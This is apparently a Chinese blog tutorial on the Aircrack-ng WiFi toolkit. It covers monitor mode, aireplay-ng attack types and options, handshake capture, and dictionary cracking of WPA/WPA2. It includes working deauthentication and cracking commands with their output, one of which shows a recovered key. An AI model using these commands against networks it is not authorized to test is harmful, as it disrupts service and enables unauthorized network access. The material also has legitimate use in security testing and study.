首页 > 代码库 > Aircrack-ng 工具箱

Aircrack-ng 工具箱

官网为:http://www.aircrack-ng.org/, 它就是一个与WiFi 相关的工具啦,可以进行一些注入,抓包、破解WiFI等。里面有很多不同的套件。

另外,http://blog.csdn.net/qq_28208251/ 翻译了一部分官网上的内容,翻译的可以的,不错。

 

下面的知识可能有用:

1. 无线网卡可以工作在多种模式之下。常见的有Master,Managed,ad-hoc,monitor等模式。对于Master模式,它主要使用于无线接入点AP提供无线接入服务以及路由功能。Managed模式用于和无线AP进行接入连接,在这个模式下我们才可以进行无线接入internet上网。Monitor模式主要用于监控无线网络内部的流量,用于检查网络和排错。对于需要两台主机进行直连的情况下可以使用ad-hoc模式,这样主机之间是采用对等网络的方式进行连接。

2. 通常,手机WLAN中,bssid其实就是无线路由的MAC地址.一般, ESSID 也可认为是SSID, WIFI 网络名。

SSID = Service Set IDentifier
BSSID = Basic Service Set IDentifier
ESSIS = Extended Service Set IDentifier

 

 

airmon-ng工具:可以让网卡在manged与monitor之间进行切换的。

使用方法:

1. 不加任何参数,显示当前的接口状态

airmon-ng

 

2. 开启进入 monitor 状态或停用; channel 项可选,表示监听哪一个 channel, 如果不加时,它可以监听所有 channel.

airmon-ng <start|stop> <interface name> [channel]           #如: airmon-ng start wlan0 11

用 iwlist 命令可以查看接口所监听的 channel.  如:查看 mon0 : 命令为: iwlist mon0 channel.

 

3. 核查所以能影响到aircrack-ng工作 NetworkManeger进程;或者核查并杀死影响aircrack-ng的NetworkManeger进程。

airmon-ng <check|check kill>

强烈推荐使用aircrack-ng套装的时候停掉这些进程。

 

最后,当我们完成任务后,怎么回到起初的状态?

    1.通过 airmon-ng stop <interface name> 来停止监听状态。

    2. 通过 service network-manager start 启动我们杀死的 NetworkManeger服务。

 

Aireplay-ng 命令:

aireplay-ng是一个注入帧的工具。它的主要作用是产生数据流量,而这些随后将会被用于aircrack-ng破解WEP和WPA/WPA2秘钥。大部分的驱动需要补丁才能支持数据包注入,可参见此处安装驱动。

aireplay-ng当前支持的攻击种类如下:

  • Attack 0:解除认证攻击
  • Attack 1:伪造认证攻击
  • Attack 2:交互式注入攻击
  • Attack 3:ARP请求包重放攻击
  • Attack 4:chopchop Korek攻击
  • Attack 5:碎片交错攻击
  • Attack 6:Cafe-latte 攻击
  • Attack 7:面向客户的碎片攻击
  • Attack 8:WPA迁移模式
  • Attack 9:数据包注入测试

通过 man aireplay-ng ,可以查看它的相关参数的用法的。基本的参数有:

Filter 选项: 常用于除了解除认证攻击和伪造认证攻击之外的所有攻击的参数,用于控制数据包。常用的选项为 –b.

  • -b bssid :AP(接入点)的MAC地址
  • -d dmac:目的MAC地址
  • -s smac:源MAC地址
  • -m len:数据包最小长度
  • -n len:数据包最大长度
  • -u type:frame control, type field
  • -v subt:frame control, subtype field
  • -t tods:到目的地址的控制帧
  • -f fromds:从目的地址出发的控制帧
  • -w iswep:含有WEP数据的控制帧

Replay 选项:当注入(injecting 或 replay)数据包时,常用于下面的选项(通常用部分,而不是全部).

  • -x nbpps:设置每秒发送数据包的数目
  • -p fctrl:设置控制帧中包含的信息(16进制)
  • -a bssid:设置接入点的MAC地址 (access point mac address)
  • -c dmac:设置目的MAC地址  (destination mac address)
  • -h smac:设置源MAC地址 (sourse mac address)
  • -e essid:虚假认证攻击中,设置接入点名称.当接入点不是隐藏时,它可以省略,反过来,它可心攻击隐藏的接入点。(For fakeauth attack or injection test, it sets target AP SSID. This is optional when the SSID is not hidden.)
  • -j:arpreplay attack : inject FromDS pkts
  • -g value : change ring buffer size (default: 8)

  • -k IP : set destination IP in fragments

  • -l IP : set source IP in fragments

  • -o npckts : number of packets per burst (-1)

  • -q sec : seconds between keep-alives (-1)

  • -y prga : keystream for shared key auth

  • “-B” or “–bittest” : bit rate test (Applies only to test mode)

  • “-D” :disables AP detection. Some modes will not proceed if the AP beacon is not heard. This disables this functionality.

  • “-F” or “–fast” : chooses first matching packet. For test mode, it just checks basic injection and skips all other tests.

  • “-R” disables /dev/rtc usage. Some systems experience lockups or other problems with RTC. This disables the usage.

来源选项:

  • iface:从指定网卡捕获数据包
  • -r file:从指定pcap文件获取数据包.

 

攻击0:解除认证攻击

这个攻击的攻击的作用可以把断开已经连接至 AP 的 client. 用 –0 <count> 或 –deauth <count> 表示这个攻击,其中 count 表示发送的断开认证的数目,如果为0,表示不断发送。

例如:

aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 mon0

参数 :前两个参数即为: –0 <count> 或 –deauth <count> .  -0 表示为解除认证攻击。1表示表示发送的断开认证的数目。

        -a:表示设置接入点的MAC地址 (见Replay 选项)

        -c: 表示我们要断开认证的客户机的 MAC. 当我们省略时,会攻击所有的已认证的client.

        mon0:为我的接口名称(interface name).

 

如输出:

sudo aireplay-ng --deauth 0 -a D4:EE:07:2E:02:D8 -c 20:A9:9B:2E:3D:A7 mon0
21:15:29  Waiting for beacon frame (BSSID: D4:EE:07:2E:02:D8) on channel 6
21:15:30  Sending 64 directed DeAuth. STMAC: [20:A9:9B:2E:3D:A7] [12|54 ACKs]
21:15:30  Sending 64 directed DeAuth. STMAC: [20:A9:9B:2E:3D:A7] [13|60 ACKs]
21:15:31  Sending 64 directed DeAuth. STMAC: [20:A9:9B:2E:3D:A7] [46|61 ACKs]
21:15:31  Sending 64 directed DeAuth. STMAC: [20:A9:9B:2E:3D:A7] [ 0|57 ACKs]
21:15:32  Sending 64 directed DeAuth. STMAC: [20:A9:9B:2E:3D:A7] [ 3|57 ACKs]
21:15:32  Sending 64 directed DeAuth. STMAC: [20:A9:9B:2E:3D:A7] [ 5|57 ACKs]
21:15:33  Sending 64 directed DeAuth. STMAC: [20:A9:9B:2E:3D:A7] [24|65 ACKs]
21:15:33  Sending 64 directed DeAuth. STMAC: [20:A9:9B:2E:3D:A7] [33|63 ACKs]
21:15:34  Sending 64 directed DeAuth. STMAC: [20:A9:9B:2E:3D:A7] [ 0|61 ACKs]
21:15:35  Sending 64 directed DeAuth. STMAC: [20:A9:9B:2E:3D:A7] [ 0|60 ACKs]
21:15:35  Sending 64 directed DeAuth. STMAC: [20:A9:9B:2E:3D:A7] [ 1|63 ACKs]
21:15:36  Sending 64 directed DeAuth. STMAC: [20:A9:9B:2E:3D:A7] [ 1|63 ACKs]
21:15:36  Sending 64 directed DeAuth. STMAC: [20:A9:9B:2E:3D:A7] [ 0|62 ACKs]
21:15:37  Sending 64 directed DeAuth. STMAC: [20:A9:9B:2E:3D:A7] [ 0|59 ACKs]
21:15:37  Sending 64 directed DeAuth. STMAC: [20:A9:9B:2E:3D:A7] [ 0|62 ACKs]
21:15:38  Sending 64 directed DeAuth. STMAC: [20:A9:9B:2E:3D:A7] [ 0|60 ACKs]

For directed deauthentications, aireplay-ng sends out a total of 128 packets for each deauth you specify. 64 packets are sent to the AP itself and 64 packets are sent to the client.

所以呢,上图中的最后面代表分别来自 client 与 AP的回复。 最后的时候,由于断开了连接,所以 client就不回复了。

 

攻击1:伪造认证攻击

用着了补。

 

airodump命令:是用来抓包的。

可以收集IVs,用于破解 WEP 不过现在已经基本没有用WEP加密的路由器了吧。也可以抓握手包。它有很多的选项,可以通过 man ariodump 命令得到相关的帮助文档,太多了。

 

 # 下面的内容指明了 各个缩写词的含义
BSSID:  接入点的MAC地址,在客户端部分,“(not associated)”表示客户端没有连接到任何接入点。在这种没有连接的状态下,它一直会搜寻接入点

PWR     网卡反馈的信号水平,它的数值是驱动决定的,但是离接入点或基站越近,信号数值就会变得越大。如果接入点的PWR是-1,则表示驱动不支持信号水平;如果部分station的PWR是-1,则表示网卡能接收到接入点的数据包,但是却超出了网卡的传输范围。
        这就意味着我们只能监听到1/2的信息交流。如果所有station都是-1,则表明驱动不支持显示信号水平

RXQ:    接收质量,用过去100秒内成功接收到的数据包的百分比表示

Beacons:接入点发出的公告报文的数量,每个接入点每秒大概发送10个公告包(以最低的速率1M),所以通常相距较远时也能收集到它们

Data:    捕捉到的数据包的数量(如果是WEP,则是不同IV的数量),包括数据广播包

/s:      过去10秒每秒接收到的数据包数量

CH:      无线信道(从beacon包中得到),注意:即使固定了信道,有时也会捕捉到其他信道的数据包,这时由于无线电干扰造成的

MB:      接入点支持的最大速度。如果MB=11,就是802.1b,如果MB=22,就是802.1b+,更高的就是802.1g。如上图54后的小数点表示支持短前导码,11后面的e表示该网络支持QoS

ENC:     表示使用的加密算法。OPN表示没有加密,“WEP?”表示不确定是WEP还是WPA/WPA2;WEP表示静态或者动态的WEP,TKIP或者CCMP表示WPA/WPA2

CIPHER:  检测出的密码体系,CCMP,WRAP,TKIP,WEP,WEP40和WEP104中的一种。虽然不是必须的,但是TKIP通常用于WPA,CCMP常用于WPA2。当键字索引大于0时,会显示WEP40。(40位时,索引可以是0-3;104位时,索引需为0)

AUTH:    使用的认证协议。GMT(WPA/WPA2 使用单独的认证服务器),SKA(WEP共享密钥) ,PSK(WPA/WPA2 预共享密钥),或者OPN(WEP开放认证)

ESSID:    无线网络名称。也叫“SSID”,如果开启SSID隐藏模式,则此项为空。在这种情况下,airodump-ng会尝试通过探测响应和关联请求恢复SSID

STATION:  每一个已连接或者正尝试连接用户的MAC地址,还没有连接上接入点的用户的BSSID是“not associated”

Lost:     过去的10秒钟丢失的数据包数量

Packets:  用户发出的数据包数量

Probes:   用户探测的无线网络名称,如果还没有连接那么它是用户正尝试连接的网络名称

 

举个例子哈:现在我要抓包啦:

airodump-ng --bbssid 00:14:6C:7A:41:20 -w mypackage mon0

#  --bbssid: 指明了要抓取的 AP的mac
# -w :指明了抓到包的名字为mypackage
# mon0::我的监听接口的名字

然后呢,你的包就保存在了你的当前目录里了。

 

aircrack-ng 命令:用于破解密码。

Aircrack-ng是一个802.11的WEP和WPA/WPA2-PSK破解程序。对于破解 WPE 加密的,我们就不用管了,因为吧,现在几乎没有用WEP 加密的了。而对于WPA/WPA2共享密钥,只有词典比对这一种方法。SEE2则可以极大地加速这个漫长的比对过程。破解WPA/WPA2时,需要一个四次握手包作为输入。对于WPA来说,需要4个包才能完成一次完整的握手,然而aircrack-ng只需要其中的两个就能够开始工作了。

通过man aircrack-ng 可以看到它的帮肋文档

 

举个例子:

sudo aircrack-ng -a wpa -w dictionary_simple.txt a-01.cap

上面是我自己抓的一个包a-01.cap, 然后用了一个简单的字典:dictionary_simple.txt . 然后,破解,最后的结果如下:

Aircrack-ng 1.2 beta3


                                    [00:00:06] 10116 keys tested (1551.04 k/s)


                               KEY FOUND! [ 123456789 ]


                         Master Key     : 12 51 3C F8 F3 E5 6A A9 AE A3 5D 56 7B EF B1 F0 
                                          87 EE 44 98 E0 4C 25 61 0A 83 38 1A 7E 5A 01 71 

                        Transient Key  : CB F4 99 F7 96 8B DB CA 65 3F 57 89 A6 4E A5 15 
                                         19 61 0F CB A5 07 C7 42 01 66 6C 4B A4 D0 4A 89 
                                         4D 00 1A 4F 52 8E 35 44 06 28 BD 75 9E EB DA B7   
                                         63 0B 5C D9 6F 9C DE 5B 72 C0 CF 45 B6 D5 4B 6E 
                        EAPOL HMAC     : 52 2E 5F 0F 9E B4 7E 69 BD CA 26 D1 14 E2 93 BB                                                            

 

最后吧, windows下的一款跑包软件:ewsa 比这个快,它可以用显卡加速。

Aircrack-ng 工具箱